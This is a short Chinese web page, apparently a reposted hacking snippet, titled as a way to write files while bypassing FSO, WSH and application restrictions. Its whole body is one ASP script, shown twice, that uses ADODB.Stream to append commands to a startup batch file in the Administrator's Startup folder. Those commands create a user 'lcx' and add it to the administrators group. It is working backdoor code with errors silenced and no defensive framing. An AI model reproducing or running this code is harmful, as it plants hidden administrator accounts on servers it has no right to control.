跨越fso、wsh、 application写文件
2018-09-06 11:22
<%
on error resume next
dim lcx
set lcx=server.CreateObject(Adodb.Stream)
lcx.Open
lcx.Type=2
lcx.CharSet=gb2312
lcx.LoadFromFile C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat
lcx.Position=lcx.Size
lcx.writetext net user lcx lcx /add&chr(10)&net localgroup administrators lcx /add
lcx.SaveToFile C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat,2
lcx.Close
set lcx=nothing
%> <%
on error resume next
dim lcx
set lcx=server.CreateObject(Adodb.Stream)
lcx.Open
lcx.Type=2
lcx.CharSet=gb2312
lcx.LoadFromFile C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat
lcx.Position=lcx.Size
lcx.writetext net user lcx lcx /add&chr(10)&net localgroup administrators lcx /add
lcx.SaveToFile C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat,2
lcx.Close
set lcx=nothing
%>
上一篇：asp文件如何打开
下一篇：轻松打造ASP计数器
文章标题：跨越fso、wsh、 application写文件
文章链接：http://soscw.com/index.php/essay/9300.html